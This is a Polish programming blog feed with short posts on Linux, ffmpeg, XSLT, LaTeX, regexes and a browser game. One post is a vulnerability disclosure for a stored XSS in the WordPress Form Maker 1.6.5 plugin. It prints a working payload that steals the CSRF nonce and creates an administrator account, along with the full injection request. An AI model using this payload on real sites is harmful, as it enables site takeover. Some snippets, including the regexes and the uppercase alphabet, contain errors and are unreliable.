WordPress: 4.0
</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Testowany Plugin:
Webdorado SpiderCalendar</div>
<div style="line-height: 115%; margin-bottom: 0.35cm;">
Wersja: 1.4.9</div>
<div style="line-height: 115%; margin-bottom: 0.35cm; margin-left: 1.25cm; text-indent: -1.25cm;">
<span lang="sv-SE">URL:
https://downloads.wordpress.org/plugin/spider-event-calendar.1.4.9.zip</span></div>
<br />
<br /><br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" id="BLOGGER_PHOTO_ID_5366458013055954146" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-15212974738184176602014-11-16T11:36:00.005+01:002014-11-16T11:37:06.902+01:00Jak sprawdzić wersję dystrybucji Linuxa? Zazwyczaj wystarczy wywołać poniższe polecenie:<br />
<br />
<blockquote class="tr_bq">
cat /etc/issue</blockquote>
<blockquote class="tr_bq">
Welcome to openSUSE 12.3 "Dartmouth" - Kernel \r (\l).<br />
</blockquote>
<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" id="BLOGGER_PHOTO_ID_5366458013055954146" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-72160277716393919862014-08-10T11:59:00.000+02:002014-08-10T11:59:27.291+02:00Java - jak uruchomić JVM w innym językuOstatnio musiałem uruchomić JVM w innym języku niż domyślny język systemowy. Aby to osiągnąć należy do linii poleceń dodać dodatkowy parametr:<br />
<br />
<blockquote class="tr_bq">
-Duser.language=XX</blockquote>
<br />
Tak więc cała linia polecenia powinna wyglądać np. następująco:<br />
<br />
<blockquote class="tr_bq">
java -jar -Duser.language=en jChess.jar </blockquote>
<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" id="BLOGGER_PHOTO_ID_5366458013055954146" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-77272761633118291382014-02-05T20:46:00.002+01:002014-02-05T20:47:12.680+01:00Linux - dzielenie filmu na części (ffmpeg) Ostatnio natknąłem się na ciekawy problem. Mianowicie plik wideo, który "ważył" około 5GB chciałem przegrać na pendrive celem uruchomienia w telewizorze. Oczywiście telewizor z niewiadomych przyczyn nie wspierał linuxowych systemów plików, więc dało się skopiować jedynie pierwsze 4GB filmu z uwagi na ograniczenie maksymalnego rozmiaru pliku. Z uwagi na to, iż pliki wideo mają odpowiednie nagłówki itp podzielenie tegoż filmu poleceniem split było niemożliwe:<br />
<br />
<blockquote class="tr_bq">
split -b 2048m nagranie.avi </blockquote>
Na systemach GNU/Linux wszystko zazwyczaj można zrobić w prosty sposób z poziomu konsoli. Z pomocą przyszedł mi ffmpeg. Poniżej przykład podziału pliku video o długości 02 godziny 49 minut i 00 sekund:<br />
<br />
<blockquote class="tr_bq">
fmpeg -i nagranie.avi -vcodec copy -acodec copy -ss 00:00:00 -t 01:30:00 nagranie_p1.avi; </blockquote>
<blockquote class="tr_bq">
ffmpeg -i nagranie.avi -vcodec copy -acodec copy -ss 01:30:00 -t 02:49:00 nagranie_p2.avi </blockquote>
W ten sposób otrzymamy 2 pliki video (mniej więcej równe) o nazwie nagranie_p1.avi oraz nagranie_p2.avi. Pierwszy będzie zawierał materiał od 0 sekundy trwania filmu do 1:30:00 a drugi od 1:30:00 do końca.<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" id="BLOGGER_PHOTO_ID_5366458013055954146" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-12348883673751646252014-01-20T19:46:00.002+01:002014-02-01T20:39:16.697+01:00WordPress Form Maker 1.6.5 - Stored XSSW ostatnim czasie bawiłem się wtyczką do WordPressa o nazwie Form Maker (v1.6.5). Postanowiłem przejrzeć kod tej wtyczki i sprawdzić jego jakość oraz poziom zabezpieczenia danych przychodzących od użytkowników. Jak się okazuje poziom zabezpieczeń tego dodatku pozostawia wiele do życzenia (zresztą poziom jakości kodu źródłowego również). Wygenerowałem przy użyciu panelu zarządzania FormMaker'a formularz z jednym polem typu "select: oraz przyciski "submit" i "reset". Następnie dodałem widget do prawej kolumny bloga, efekt jest następujący:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-IRO6O0KER8E/Ut1khSa3OyI/AAAAAAAAAOg/FwHyIqpS8G8/s1600/general_screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-IRO6O0KER8E/Ut1khSa3OyI/AAAAAAAAAOg/FwHyIqpS8G8/s1600/general_screenshot.png" height="314" width="640" /> </a> </div>
<br />
W zasadzie pole to nie jest zabezpieczone w żaden sposób przed doklejeniem do wartości skryptu JS. Wartości te wpadają do tabelki <b>wp_formmaker_submits</b> do kolumny <b>element_value. </b>Użytkownik zarządzający (domyślnie administrator) może przeglądać w panelu WP statystyki utworzone na podstawie przesłanych przez użytkowników danych, oto przykład ( http://localhost/wordpress/wp-admin/admin.php?page=Form_maker_Submits ):<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-lqS6r-Ub3rQ/Ut1oSLLh2fI/AAAAAAAAAOs/rPiBMSMu2cs/s1600/general_screenshot_admin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-lqS6r-Ub3rQ/Ut1oSLLh2fI/AAAAAAAAAOs/rPiBMSMu2cs/s1600/general_screenshot_admin.png" height="248" width="640" /></a></div>
<br />
Nic nie stoi zatem na przykładzie, aby spróbować wrzucić przez formularz skrypt JS, który nieświadomie uruchomi sam administrator przeglądający statystyki witryny - nic też nie stoi na przeszkodzie aby skrypt też dodał dla nas użytkownika o określonym loginie, haśle oraz określonej grupie (np. administrator).<br />
<br />
Na początku trzeba napisać funkcję, która z formularza dodawania użytkownika pobierze aktualny token zapobiegający atakom CSRF.<br />
<br />
<blockquote class="tr_bq">
<div>
function getCSRFToken() {</div>
<div>
var resp = jQuery.ajax("http://localhost:8080/wordpress/wp-admin/user-new.php", {async: false});</div>
<div>
var searchText = ' name="_wpnonce_create-user" value="';</div>
<div>
var respTxt = resp.responseText;</div>
<div>
var varStartPos = respTxt.indexOf(searchText)+searchText.length;</div>
<div>
var varStopPos = respTxt.indexOf('"', varStartPos);</div>
<div>
var res = respTxt.substring(varStartPos, varStopPos);</div>
<div>
return res;</div>
<div>
}</div>
</blockquote>
<br />
Następnie należy dopisać kawałek kodu, który pobierze przy użyciu napisanej funkcji token CSRF i prześle w żądaniu POST dane użytkownika, którego chcemy założyć w systemie WordPress.<br />
<br />
<blockquote class="tr_bq">
<div>
var token = getCSRFToken();</div>
<div>
jQuery.ajax({</div>
<div>
type: "POST",</div>
<div>
url: "http://localhost:8080/wordpress/wp-admin/user-new.php",</div>
<div>
data : {</div>
<div>
"action": "createuser",</div>
<div>
"_wpnonce_create-user": token,</div>
<div>
"_wp_http_referer" : "/wordpress/wp-admin/user-new.php",</div>
<div>
"user_login": "haker",</div>
<div>
"email" : "abcd@abcd.pl",</div>
<div>
"first_name" : "haker",</div>
<div>
"last_name" : "haker",</div>
<div>
"url" : "",</div>
<div>
"pass1": "test",</div>
<div>
"pass2": "test",</div>
<div>
"role": "administrator"</div>
<div>
}</div>
<div>
});</div>
<div>
</div>
</blockquote>
W chwili gdy administrator będzie przeglądał raport z formularza/ankiety nieświadomie założy nam konto z dostępem do systemu na poziomie administracyjnym.<br />
<br />
Przykład żądania infekującego system WordPress:<br />
<br />
Nagłówki: <br />
<blockquote class="tr_bq">
Host: localhost<br />
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0<br />
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />
Accept-Language: pl,en-us;q=0.7,en;q=0.3<br />
Accept-Encoding: gzip, deflate<br />
Referer: http://localhost/~matis/wordpress/<br />
Cookie: wp-settings-time-1=1390159250; wp-settings-time-2=1390156858; wp-settings-2=mfold%3Do; wp-settings-1=editor%3Dhtml; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_0c5adc8dcb9e5502c1e0869a0bb781e6=admin%7C1390411515%7C400db2d0d0cea602d78db3c5d7e91a39; PHPSESSID=aq2uhhptv63d4g5h9jn8uomed74h5hptpb931jon35u144lgv1k1<br />
Connection: keep-alive<br />
Content-Type: multipart/form-data; boundary=---------------------------7842590414246330011810426949<br />
Content-Length: 672</blockquote>
Treść żądania (content body):<br />
<blockquote class="tr_bq">
-----------------------------7842590414246330011810426949\r\n<br />
Content-Disposition: form-data; name="counter10"\r\n<br />
\r\n<br />
3\r\n<br />
-----------------------------7842590414246330011810426949\r\n<br />
Content-Disposition: form-data; name="1_type10"\r\n<br />
\r\n<br />
type_own_select\r\n<br />
-----------------------------7842590414246330011810426949\r\n<br />
Content-Disposition: form-data; name="1_required10"\r\n<br />
\r\n<br />
no\r\n<br />
-----------------------------7842590414246330011810426949\r\n<br />
Content-Disposition: form-data; name="1_element10"\r\n<br />
\r\n<br />
option 1<script>function getCSRFToken() {<br />
var resp = jQuery.ajax("http://localhost:8080/wordpress/wp-admin/user-new.php", {async: false});<br />
var searchText = ' name="_wpnonce_create-user" value="';<br />
var respTxt = resp.responseText;<br />
var varStartPos = respTxt.indexOf(searchText)+searchText.length;<br />
var varStopPos = respTxt.indexOf('"', varStartPos);<br />
var res = respTxt.substring(varStartPos, varStopPos);<br />
return res;<br />
}<br />
<br />
var token = getCSRFToken();<br />
jQuery.ajax({<br />
type: "POST",<br />
url: "http://localhost:8080/wordpress/wp-admin/user-new.php",<br />
data : {<br />
"action": "createuser",<br />
"_wpnonce_create-user": token,<br />
"_wp_http_referer" : "/wordpress/wp-admin/user-new.php",<br />
"user_login": "haker",<br />
"email" : "abcd@abcd.pl",<br />
"first_name" : "haker",<br />
"last_name" : "haker",<br />
"url" : "",<br />
"pass1": "test",<br />
"pass2": "test",<br />
"role": "administrator"<br />
}<br />
});<br />
</script>\r\n<br />
-----------------------------7842590414246330011810426949\r\n<br />
Content-Disposition: form-data; name="2_type10"\r\n<br />
\r\n<br />
type_submit_reset\r\n<br />
-----------------------------7842590414246330011810426949--\r\n</blockquote>
Środowisko testowe:<br />
<ul>
<li>Komputer z serwerem www (środowisko lokalne)</li>
<li>Apache2 w wersji 2.4</li>
<li>PHP w wersji 5.4.4</li>
<li>MariaDB </li>
</ul>
<br />
Testowane wersje oprogramowania:<br />
<ul>
<li>WordPress - 3.8</li>
<li>FormMaker - 1.6.5 (by WebDorado) </li>
</ul>
Artykuł ten służy jedynie celom edukacyjnym a dostawca oprogramowania został już powiadomiony o istniejącej luce w oprogramowaniu.<br />
<br />
<b>Aktualizacja (1 lutego 2014):</b><br />
<br />
W najnowszej wersji 1.6.6 naprawiono już wspomniany przeze mnie błąd, poniżej zrzut ekranu z change-loga:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/--OIaZjN0xKw/Uu1NKU6i45I/AAAAAAAAAPA/0A_gwsj45pM/s1600/general_screenshot_admin1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/--OIaZjN0xKw/Uu1NKU6i45I/AAAAAAAAAPA/0A_gwsj45pM/s1600/general_screenshot_admin1.png" height="225" width="400" /></a></div>
<br />
<br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" id="BLOGGER_PHOTO_ID_5366458013055954146" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com1tag:blogger.com,1999:blog-2028968044982511494.post-39228250813855286412013-12-12T18:01:00.000+01:002013-12-12T18:01:00.119+01:00Walidacja haseł przy użyciu wyrażeń regularnychJeśli jesteś web-developerem to na pewno w swojej karierze piasłeś różnego rodzaju panele logowania (być może nawet oparte na implementacjach OpenID). Najprawdopodobniej również używałeś różnego rodzaju wyrażeń regularnych do sprawdzania poprawności wprowadzanych danych. Ciekawym sposobem na walidację wprowadzanych haseł podczas rejestracji użytkowników może być zastosowanie właśnie wyrażeń regularnych. Generalnie typy wyrażeń możemy podzielić na POSIXowe oraz PERLowe. Do realizacji tego zadania musimy użyć wyrażeń typu PERLowego, gdyż te drugie nie obsługują wzorców "Lookingahead" i "Lookingbehind". Inaczej można je nazwać asercjami o zerowej długości. Co to oznacza? To, że możemy przy ich pomocy spasować jakiś wzorzec bez włączania wyników tej części wyrażenia do jego wyniku.<br />
<br />
Dla przykładu podam tutaj wyrażenie, które wpasowuje wzorzec tekstu zawierające w treści słowo "parapet", w taki sposób, że do wyniku działania wyrażenia zostanie zwrócony jedynie fragment "para".<br />
<br />
<blockquote class="tr_bq">
/para(?=pet)/</blockquote>
Używając tej techniki możemy sprawdzić czy np. podane przez użytkownika hasło składa się z co najmniej 12 znaków. Do dodatkowej walidacji będę opakowywał wyrażenie w ^$ aby zapewnić, że wyrażenie działa od początku do końca wprowadzonej wartości.<br />
<br />
<blockquote class="tr_bq">
/^(?=.{12,})$/</blockquote>
<br />
Aby dopasować jedynie wartości, które składają się minimum z dowolnych 8 znaków a maksymalnie z 50 znaków musimy użyć:<br />
<blockquote class="tr_bq">
/^(?=.{12,50})$/</blockquote>
W celu ograniczenia dopasowania do wartości, które zawierają co najmniej 1 znak specjalny lub cyfrę najpierw musimy używając<b> Lookahead </b>dopasować litery (dowolną ich liczbę czyli <i><b>".*"</b></i>):<br />
<br />
<blockquote class="tr_bq">
/^(?=.{12,50})(?=.*[a-zA-Z])<span style="font-family: Arial, FreeSans, Helvetica, sans-serif; font-size: x-small;"><span style="line-height: 18.875px;">$/</span></span></blockquote>
<br />
Następnie możemy dodać ciąg znaków odpowiedzialny za dopasowanie co najmniej 1 cyfry lub znaku specjalnego:<br />
<blockquote class="tr_bq">
/^(?=.{12,50})(?=.*[a-zA-Z])<span style="background-color: white; font-family: Arial, FreeSans, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 18.88888931274414px;">(.*</span><span class="error" style="background-color: white; font-family: Arial, FreeSans, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 18.88888931274414px;">[0-9-+_$!@#%&^*?.,]</span><span style="background-color: white; font-family: Arial, FreeSans, Helvetica, sans-serif; font-size: 13.333333969116211px; line-height: 18.88888931274414px;">){1,}.</span><span style="font-family: Arial, FreeSans, Helvetica, sans-serif; font-size: x-small; line-height: 18.875px;">$/</span></blockquote>
<blockquote class="tr_bq">
</blockquote>
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-74212845784090728402013-05-18T19:46:00.001+02:002013-05-18T19:49:08.624+02:00DeliveryServer - DynaMents - Pobranie ścieżki węzła/liściaOstatnio zmagałem się z problemem pobrania ścieżki węzła/liścia w języku DynaMents, który używany jest po stronie DeliveryServer'a.<br />
<br />
W XSLT można tego dokonać stosując:<br />
<br />
<div class="highlight">
<pre><span class="nt"><xsl:value-of</span> <span class="na">select=</span><span class="s">"name()"</span><span class="nt">/></span>
</pre>
</div>
<br />
Po długich bojach, udało mi się to osiągnąć przy pomocy DynaMent'u attribute działającego w trybie <b>read</b>. W DynaMencie tym można podać atrybut <b>value</b>. W atrybucie tym można podać 3 różne wartości, są to:<br />
<br />
<ul>
<li>value - pobierana jest wartość węzła/liścia,</li>
<li>path - pobierana jest ścieżka węzła/liścia,</li>
<li>name - pobierana jest nazwa węzła/liścia. </li>
</ul>
<br />
Listing poniżej przedstawia kod, który wypisuje wszystkie ścieżki węzłów z globalnej zmiennej <i><b>REQUEST </b></i>wraz z wartościami znajdującymi się w węzłach. Linia 3 tego listingu odpowiada za wypisanie ścieżki węzła.<br />
<br />
<div class="highlight">
<pre><span class="nt"><div class="highlight">
<pre><span class="nt">1. <rde-dm:attribute</span> <span class="na">type=</span><span class="s">"children"</span> <span class="na">mode=</span><span class="s">"for-each"</span></pre>
<pre><span class="na"> alias=</span><span class="s">"reqAttr"</span> <span class="na">source=</span><span class="s">"request"</span><span class="nt">></span>
2. <span class="nt"><rde-dm:attribute</span> <span class="na">attribute=</span><span class="s">"context:reqAttr"</span> <span class="na">value=</span><span class="s">"path"</span><span class="nt">/></span>:
3. <span class="nt"><rde-dm:attribute</span> <span class="na">mode=</span><span class="s">"read"</span> <span class="na">attribute=</span><span class="s">"context:reqAttr"</span> <span class="nt">/></span>
<span class="nt">4. </rde-dm:attribute></span></pre>
</div>
</span></pre>
</div>
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-26413969038601916532013-05-01T12:53:00.000+02:002013-05-01T13:15:38.862+02:00XSLT 1.0 - lowercase i uppercase<br />
XSLT 2.0 udostępnia dużo więcej wbudowanych funkcji niż wersja 1.0 tego standardu.<br />
Są to między innymi funkcje <b><i>lower-case()</i></b> i <b><i>upper-case():</i></b><br />
<br />
<blockquote class="tr_bq">
<div class="highlight">
<pre><span class="nt"><xsl:variable</span> <span class="na">name=</span><span class="s">"var"</span><span class="nt">></span>ŚmIeSzNy NaPiS<span class="nt"></xsl:variable></span>
<span class="nt"><xsl:value-of</span> <span class="na">select=</span><span class="s">"upper-case($var)"</span><span class="nt">/></span>
</pre>
</div>
</blockquote>
Czasem jednak pojawia się konieczność poprawienia kodu, który napisany został w specyfikacji XSLT 1.0 i nie ma możliwości jej zmiany na nowszą. W takim wypadku część funkcji dostępnych w XSLT 2.0 trzeba będzie zaimplementować samemu. Niestety tutaj pojawia się kolejny problem - w starej XSLT nie ma możliwości tworzenia własnych funkcji. Całe szczęście możemy osiągnąć efekt jaki udostępniają <b><i>lower-case()</i></b> i <b><i>upper-case()</i></b> poprzez użycie funkcji <b><i>translate()</i></b>.<br />
<br />
Oto jak można to zrobić:<br />
<blockquote class="tr_bq">
<div class="highlight"><pre><span class="nt"><xsl:variable</span> <span class="na">name=</span><span class="s">"lowerCase"</span><span class="nt">></span><br/> abcdefghijklmnopqrstuvwxyz<br/><span class="nt"></xsl:variable></span>
<span class="nt"><xsl:variable</span> <span class="na">name=</span><span class="s">"upperCase"</span><span class="nt">></span><br/> ABCDEFGHIJKLMOPQERTUVWZYZ<br/><span class="nt"></xsl:variable></span>
<span class="nt"><xsl:variable</span> <span class="na">name=</span><span class="s">"var"</span><span class="nt">></span>ŚmIeSzNy NaPiS<span class="nt"></xsl:variable></span>
<span class="nt"><xsl:value-of</span> <span class="na">select=</span><span class="s">"translate($var, $lowerCase, $upperCase)"</span><span class="nt">/></span>
</pre></div>
</blockquote>
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-19985956811515945402013-04-16T20:55:00.002+02:002013-04-16T21:03:06.096+02:00LaTeX - nowa linia w tabelkowym elemencie \caption{}Jeśli tworzysz jakiś tekst w LaTeX i chcesz w elemencie \caption{} to być może natknąłeś się na podobny problem jak ja. Poniżej przedstawiam kilka rozwiązań, które mogą zadziałać. Spróbuj każdego z nich, zanim się poddasz :)<br />
<br />
Użycie standardowego \\:<br />
<br />
<blockquote class="tr_bq">
<code><span style="color: #2020c0; font-weight: normal;"><span style="color: #e02020;">\</span><span style="color: maroon;">caption</span><span style="color: #e02020;">{</span>first line<span style="color: #e02020;">\\</span>second line<span style="color: #e02020;">}</span></span></code></blockquote>
Na przykład: <br />
<br />
<blockquote class="tr_bq">
<code><span style="color: #c00000; font-weight: normal;">\begin</span><span style="color: #e02020;">{</span><span style="color: #2020c0; font-weight: normal;"><span style="color: #0000d0; font-weight: normal;">document</span><span style="color: #e02020;">}</span><br /><span style="color: #c00000; font-weight: normal;">\begin</span><span style="color: #e02020;">{</span><span style="color: #0000d0; font-weight: normal;">table</span><span style="color: #e02020;">}[</span><span style="color: #c08020; font-weight: normal;">!ht</span><span style="color: #e02020;">]</span><br /> <span style="color: #e02020;">\</span><span style="color: maroon;">centering</span><br /> <span style="color: #c00000; font-weight: normal;">\begin</span><span style="color: #e02020;">{</span><span style="color: #0000d0; font-weight: normal;">tabular</span><span style="color: #e02020;">}{</span>cc<span style="color: #e02020;">}</span><span style="color: maroon;"></span><br /> lorem ipsum <span style="color: #e02020;">&</span> dolor sit amet<span style="color: #e02020;">\\</span></span></code><br />
<code><span style="color: #2020c0; font-weight: normal;"><span style="color: #e02020;"> </span></span></code><code><span style="color: #2020c0; font-weight: normal;"><span style="color: #e02020;">\</span><span style="color: maroon;">hline</span></span></code><code><span style="color: #2020c0; font-weight: normal;"><span style="color: #e02020;"> </span><span style="color: maroon;"></span><br /> <span style="color: #c00000; font-weight: normal;">\end</span><span style="color: #e02020;">{</span><span style="color: #0000d0; font-weight: normal;">tabular</span><span style="color: #e02020;">}</span><br /> <span style="color: #e02020;">\</span><span style="color: maroon;">caption</span><span style="color: #e02020;">{</span>first line<span style="color: #e02020;">\\</span>second line<span style="color: #e02020;">}</span><br /> <span style="color: #e02020;">\</span><span style="color: maroon;">label</span><span style="color: #e02020;">{</span>table:multilined_caption<span style="color: #e02020;">}</span><br /><span style="color: #c00000; font-weight: normal;">\end</span><span style="color: #e02020;">{</span><span style="color: #0000d0; font-weight: normal;">table</span><span style="color: #e02020;">}</span><br /><span style="color: #c00000; font-weight: normal;">\end</span><span style="color: #e02020;">{</span><span style="color: #0000d0; font-weight: normal;">document</span></span><span style="color: #e02020;">} </span></code></blockquote>
<br />
Jeśli to rozwiązanie nie zadziała, to spróbuj:<br />
<blockquote class="tr_bq">
<code><span style="color: #2020c0; font-weight: normal;"><span style="color: #e02020;">\</span><span style="color: maroon;">caption</span><span style="color: #e02020;">{</span>first line<span style="color: #e02020;">\newline</span>second line<span style="color: #e02020;">}</span></span></code></blockquote>
lub:<br />
<blockquote class="tr_bq">
<code><span style="color: #2020c0; font-weight: normal;"><span style="color: #e02020;">\</span><span style="color: maroon;">caption</span><span style="color: #e02020;">{</span>first line<span style="color: #e02020;">\protect\\</span>second line<span style="color: #e02020;">}</span></span></code> </blockquote>
Zwróć uwagę, iż tekst z \caption{} często jest prezentowany na spisie tabel, więc może się zdarzyć, iż wszystkie linie będą tam wyświetlane (nie zawsze jest to pożądany efekt). <br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-71905179632384011112013-04-06T13:16:00.003+02:002013-04-06T13:16:47.008+02:00Poko Rocket - czyli Chu Chu Rocket w przeglądarceDla frajdy, w ramach wolnego czasu postanowiłem zaimplementować swoją pierwszą grę, która będzie dostępna w każdej przeglądarce pod każdym systemem operacyjnym. Z powodu, iż wspomnianego wolnego czasu nie mam zbyt wiele oraz dlatego, że do dziś łezka mi się kręci, gdy przypomnę sobie prostą, ale wspaniałą grę "Chu Chu Rocket" stworzoną na platformę Sega Dreamcast (oraz później GameBoy Advance) doszedłem do wniosku, iż to właśnie ten oryginalny i kultowy tytuł stanie się moją inspiracją.<br />
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Moim celem nie jest jednak zaimplementowanie dokładnie takiej samej gry, z dokładnie takimi samymi zasadmi. Już w obecnym stadium (a jest to jeszcze BETA) dodałem jeden element, który nie był dostępny w oryginalnej wersji. Tym elementem jest strzałka zmieniająca domyślny kierunek poruszania się kotów i myszek (z prawej w lewo, a przy ponownym kontakcie z lewej na prawo itp). Pomysłów na rozwój mam zdecydowanie więcej, jednakże postanowiłem już teraz podzielić się z potencjalnymi odbiorcami tym, co udało się zrobić. Poniżej załączam kilka zrzutów ekranu z samej gry.<br />
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<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-7I_oh7dtE2k/UWABeuKXOYI/AAAAAAAAANM/wVUb2HwxAdc/s1600/poko1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="320" src="http://1.bp.blogspot.com/-7I_oh7dtE2k/UWABeuKXOYI/AAAAAAAAANM/wVUb2HwxAdc/s320/poko1.png" width="277" /></a></div>
<a href="http://4.bp.blogspot.com/-AkAmdA6zoGc/UWABhkSwvhI/AAAAAAAAANY/6Xb9ZrNyNtA/s1600/poko2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://4.bp.blogspot.com/-AkAmdA6zoGc/UWABhkSwvhI/AAAAAAAAANY/6Xb9ZrNyNtA/s320/poko2.png" width="200" /></a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-E9zbAiSTyyw/UWABhsFiJTI/AAAAAAAAANU/PuEh1pYJ0DU/s1600/poko3.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="85" src="http://4.bp.blogspot.com/-E9zbAiSTyyw/UWABhsFiJTI/AAAAAAAAANU/PuEh1pYJ0DU/s400/poko3.png" width="400" /></a><a href="http://4.bp.blogspot.com/-AkAmdA6zoGc/UWABhkSwvhI/AAAAAAAAANY/6Xb9ZrNyNtA/s1600/poko2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
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Kod, który wykonuje się po stronie klienta (HTML5 + JavaScript) postanowiłem udostępnić na licencji GNU/GPLv3, aczkolwiek biblioteka odpowiedzialna za wykrywanie kolizji w grze dostępna jest na bardziej liberalnej Lesser GPL v3, grafika została opublikowana na licencji Creative Commons BY-ND 3.0. Kod, który wykonuje się po stronie serwera pozostaje na razie zamknięty.<br />
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W procesie tworzenia i testowania gry swój udział miał mój brat, za co bardzo serdecznie mu dziękuję. Dziękuję również kolegom z pracy, którzy postanowili poświęcić swój czas na testowanie gry - serdeczne dzięki! <br />
